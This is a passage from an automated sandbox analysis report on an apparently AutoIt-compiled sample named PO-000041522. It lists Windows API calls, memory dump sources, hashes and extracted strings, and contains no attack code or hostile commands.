                                                                                                • CopyRect.USER32(?,?), ref: 004568A8
                                                                                                • SendMessageW.USER32(?,00000412,00000000), ref: 0045690A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$MessageSend$Rect$LongMonitor$CopyCreateCursorDesktopDestroyFromInfoPointVisible
                                                                                                • String ID: ($,$tooltips_class32
                                                                                                • API String ID: 541082891-3320066284
                                                                                                • Opcode ID: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                • Instruction ID: 3987ef5f26dee50c6234681dd74380f3ee0746d74ffcadc96223edc745891050
                                                                                                • Opcode Fuzzy Hash: 25380f5391d2fe641591a116f81b43842710cc101ecbbf85cfa067c854d9f55a
                                                                                                • Instruction Fuzzy Hash: 33B18EB0604341AFD714DF64C984B6BB7E5EF88704F408D2DF989A7292D778E848CB5A
                                                                                                APIs
                                                                                                • _wcslen.LIBCMT ref: 00454DCF
                                                                                                • _wcslen.LIBCMT ref: 00454DE2
                                                                                                • __wcsicoll.LIBCMT ref: 00454DEF
                                                                                                • _wcslen.LIBCMT ref: 00454E04
                                                                                                • __wcsicoll.LIBCMT ref: 00454E11
                                                                                                • _wcslen.LIBCMT ref: 00454E24
                                                                                                • __wcsicoll.LIBCMT ref: 00454E31
                                                                                                  • Part of subcall function 004115D0: __wcsicmp_l.LIBCMT ref: 00411657
                                                                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 00454E65
                                                                                                • LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,?,?,?,?,?,?,?,00000000), ref: 00454E79
                                                                                                • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454EB7
                                                                                                • LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 00454EFB
                                                                                                • LoadImageW.USER32(00000000,00000000,?,00000001,?,?), ref: 00454F2C
                                                                                                • FreeLibrary.KERNEL32(00000000), ref: 00454F37
                                                                                                • ExtractIconExW.SHELL32(?,00000000,00000000,?,00000001), ref: 00454F94
                                                                                                • DestroyIcon.USER32(?), ref: 00454FA2
                                                                                                • SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00454FC0
                                                                                                • SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00454FCC
                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000001), ref: 00454FF1
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Load$Image_wcslen$__wcsicoll$IconLibraryMessageSend$DestroyExtractFreeMoveWindow__wcsicmp_l
                                                                                                • String ID: .dll$.exe$.icl
                                                                                                • API String ID: 2511167534-1154884017
                                                                                                • Opcode ID: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                • Instruction ID: 777b7c61fe84a0ac0f88e3bb9536c5d4e291b97e4b5026f6b39318954af55ba4
                                                                                                • Opcode Fuzzy Hash: 3f138871eb6b7f703bfd118eaab481945a2915db6d26b5ab3e2ea40d00a2935e
                                                                                                • Instruction Fuzzy Hash: D461D9711043016AE620DF659D85F7B73ECEF84B0AF00481EFE81D5182E7B9A989C77A
                                                                                                APIs
                                                                                                • GetFileVersionInfoSizeW.VERSION(?,?), ref: 00436B4E
                                                                                                • GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000), ref: 00436B73
                                                                                                • _wcslen.LIBCMT ref: 00436B79
                                                                                                • _wcscpy.LIBCMT ref: 00436B9F
                                                                                                • _wcscat.LIBCMT ref: 00436BC0
                                                                                                • VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 00436BE7
                                                                                                • _wcscat.LIBCMT ref: 00436C2A
                                                                                                • _wcscat.LIBCMT ref: 00436C31
                                                                                                • __wcsicoll.LIBCMT ref: 00436C4B
                                                                                                • _wcsncpy.LIBCMT ref: 00436C62
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _wcscat$FileInfoVersion$QuerySizeValue__wcsicoll_wcscpy_wcslen_wcsncpy
                                                                                                • String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
                                                                                                • API String ID: 1503153545-1459072770
                                                                                                • Opcode ID: f5fd3033ffd3a5ecfdf390b719417b74e0eb40dc4bdc5d973ebbbb9d24421e25
                                                                                                • Instruction ID: f4118b49cd66f9fee818cdfc0bae26735a4a754b0a3131160812af9443992caa
                                                                                                • Opcode Fuzzy Hash: f5fd3033ffd3a5ecfdf390b719417b74e0eb40dc4bdc5d973ebbbb9d24421e25
                                                                                                • Instruction Fuzzy Hash: B54115B264020137D200B7269C83EFF735CDE99715F54091FFE45A2253FA2EA69642BE
                                                                                                APIs
                                                                                                  • Part of subcall function 004431E0: __time64.LIBCMT ref: 004431EA
                                                                                                • _fseek.LIBCMT ref: 004527FC
                                                                                                • __wsplitpath.LIBCMT ref: 0045285C
                                                                                                • _wcscpy.LIBCMT ref: 00452871
                                                                                                • _wcscat.LIBCMT ref: 00452886
                                                                                                • __wsplitpath.LIBCMT ref: 004528B0
                                                                                                • _wcscat.LIBCMT ref: 004528C8
                                                                                                • _wcscat.LIBCMT ref: 004528DD
                                                                                                • __fread_nolock.LIBCMT ref: 00452914
                                                                                                • __fread_nolock.LIBCMT ref: 00452925
                                                                                                • __fread_nolock.LIBCMT ref: 00452944
                                                                                                • __fread_nolock.LIBCMT ref: 00452955
                                                                                                • __fread_nolock.LIBCMT ref: 00452976
                                                                                                • __fread_nolock.LIBCMT ref: 00452987
                                                                                                • __fread_nolock.LIBCMT ref: 00452998
                                                                                                • __fread_nolock.LIBCMT ref: 004529A9
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004523ED
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 00452432
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045244F
                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 0045247D
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 0045248E
                                                                                                  • Part of subcall function 004523CE: __fread_nolock.LIBCMT ref: 004524AB
                                                                                                  • Part of subcall function 004523CE: _wcscpy.LIBCMT ref: 004524D9
                                                                                                • __fread_nolock.LIBCMT ref: 00452A39
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __fread_nolock$_wcscat_wcscpy$__wsplitpath$__time64_fseek
                                                                                                • String ID:
                                                                                                • API String ID: 2054058615-0
                                                                                                • Opcode ID: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                • Instruction ID: 66779ec6e5012556871fefb3c18d5d4f0449fb8b445ab61f685bb60241e2a5ae
                                                                                                • Opcode Fuzzy Hash: 983239acf030dd5dbcb525efe1f3094d5bf78e470c43ee0c462dc16c64ee25c2
                                                                                                • Instruction Fuzzy Hash: 16C14EB2508340ABD320DF65C881EEBB7E8EFC9714F444D2FF68987241E6799544CBA6
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: 0
                                                                                                • API String ID: 0-4108050209
                                                                                                • Opcode ID: a4c5d4b9e8df75f92fae68853e9b00420cfad919507a13cc1b9efbc6d63fe894
                                                                                                • Instruction ID: a4e6889c8706d2a682ad3cc8acca51b009283e1ae9b51da70db0806919efebf9
                                                                                                • Opcode Fuzzy Hash: a4c5d4b9e8df75f92fae68853e9b00420cfad919507a13cc1b9efbc6d63fe894
                                                                                                • Instruction Fuzzy Hash: 95C104723403416BF3209B64DC46FBBB794EB95321F04453FFA45D62C1EBBA9409876A
                                                                                                APIs
                                                                                                  • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                • GetWindowRect.USER32(?,?), ref: 004701EA
                                                                                                • GetClientRect.USER32(?,?), ref: 004701FA
                                                                                                • GetSystemMetrics.USER32(00000007), ref: 00470202
                                                                                                • GetSystemMetrics.USER32(00000008), ref: 00470216
                                                                                                • GetSystemMetrics.USER32(00000004), ref: 00470238
                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0047026B
                                                                                                • GetSystemMetrics.USER32(00000007), ref: 00470273
                                                                                                • SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 004702A0
                                                                                                • GetSystemMetrics.USER32(00000008), ref: 004702A8
                                                                                                • GetSystemMetrics.USER32(00000004), ref: 004702CF
                                                                                                • SetRect.USER32(?,00000000,00000000,?,?), ref: 004702F1
                                                                                                • AdjustWindowRectEx.USER32(?,?,00000000,000000FF), ref: 00470304
                                                                                                • CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,?,?,?,?,00000000,00400000,00000000), ref: 0047033E
                                                                                                • SetWindowLongW.USER32(00000000,000000EB,?), ref: 00470356
                                                                                                • GetClientRect.USER32(?,?), ref: 00470371
                                                                                                • GetStockObject.GDI32(00000011), ref: 00470391
                                                                                                • SendMessageW.USER32(?,00000030,00000000), ref: 0047039D
                                                                                                • SetTimer.USER32(00000000,00000000,00000028,Function_00061E7F), ref: 004703C4
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: System$Metrics$Rect$Window$ClientInfoParameters$AdjustCreateLongMessageObjectSendStockTimer_malloc
                                                                                                • String ID: AutoIt v3 GUI
                                                                                                • API String ID: 867697134-248962490
                                                                                                • Opcode ID: d55e600c822e439b47949a06877fabb75b0ca5e5f4e504dad133e10be055f9ae
                                                                                                • Instruction ID: 96ed3905d942d8c5c267f8207effb08aff50268186fc7250a269a1908d1679c9
                                                                                                • Opcode Fuzzy Hash: d55e600c822e439b47949a06877fabb75b0ca5e5f4e504dad133e10be055f9ae
                                                                                                • Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A
                                                                                                APIs
                                                                                                • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window
                                                                                                • String ID: 0
                                                                                                • API String ID: 2353593579-4108050209
                                                                                                • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                                                • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                                                • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                                                APIs
                                                                                                • GetSysColor.USER32 ref: 0044A11D
                                                                                                • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                                                • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                                                • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                                                • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                                                • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                                                • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                                                • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                                                • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                                                • GetWindowDC.USER32 ref: 0044A277
                                                                                                • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                                                • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                                                • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                                                • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                                                • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                                                • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                                                • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                                                • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                                                • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                                                • String ID:
                                                                                                • API String ID: 1744303182-0
                                                                                                • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                                                • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                                                • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: __wcsicoll$__wcsnicmp
                                                                                                • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                                                • API String ID: 790654849-1810252412
                                                                                                • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                                                • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                                                • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                                                • API String ID: 0-1896584978
                                                                                                • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                                                • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                                                • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: InitVariant
                                                                                                • String ID:
                                                                                                • API String ID: 1927566239-0
                                                                                                • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                                                • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                                                • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                                                APIs
                                                                                                  • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                                                • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                                                • IsWindow.USER32(?), ref: 0046DBDE
                                                                                                • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                                                • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                                                • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                                                  • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                                                • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                                                • API String ID: 1322021666-1919597938
                                                                                                • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                                                • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                                                • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                                                APIs
                                                                                                • GetLocalTime.KERNEL32(?), ref: 0045DED4
                                                                                                • SystemTimeToFileTime.KERNEL32(?,?), ref: 0045DEE4
                                                                                                • LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0045DEF0
                                                                                                • _wcsncpy.LIBCMT ref: 0045DF0F
                                                                                                • __wsplitpath.LIBCMT ref: 0045DF54
                                                                                                • _wcscat.LIBCMT ref: 0045DF6C
                                                                                                • _wcscat.LIBCMT ref: 0045DF7E
                                                                                                • GetCurrentDirectoryW.KERNEL32(00000104,?), ref: 0045DF93
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFA7
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFE5
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 0045DFFB
                                                                                                • SetCurrentDirectoryW.KERNEL32(?), ref: 0045E00D
                                                                                                • _wcscpy.LIBCMT ref: 0045E019
                                                                                                • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0045E05F
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: CurrentDirectory$Time$File$Local_wcscat$System__wsplitpath_wcscpy_wcsncpy
                                                                                                • String ID: *.*
                                                                                                • API String ID: 3201719729-438819550
                                                                                                • Opcode ID: 89541da3f554ebb8d42e95f45bc66f31ca584aff69b040987f949bd9346ecb30
                                                                                                • Instruction ID: 9ef8ac46b2ec3f8a2b66e183c5d6435db2730cdd54c1860218fefef83dfd89d7
                                                                                                • Opcode Fuzzy Hash: 89541da3f554ebb8d42e95f45bc66f31ca584aff69b040987f949bd9346ecb30
                                                                                                • Instruction Fuzzy Hash: D061A7B25043049BC724EF65C881E9FB3E8AF94704F048E1EF98987241DB79E949CB96
                                                                                                APIs
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
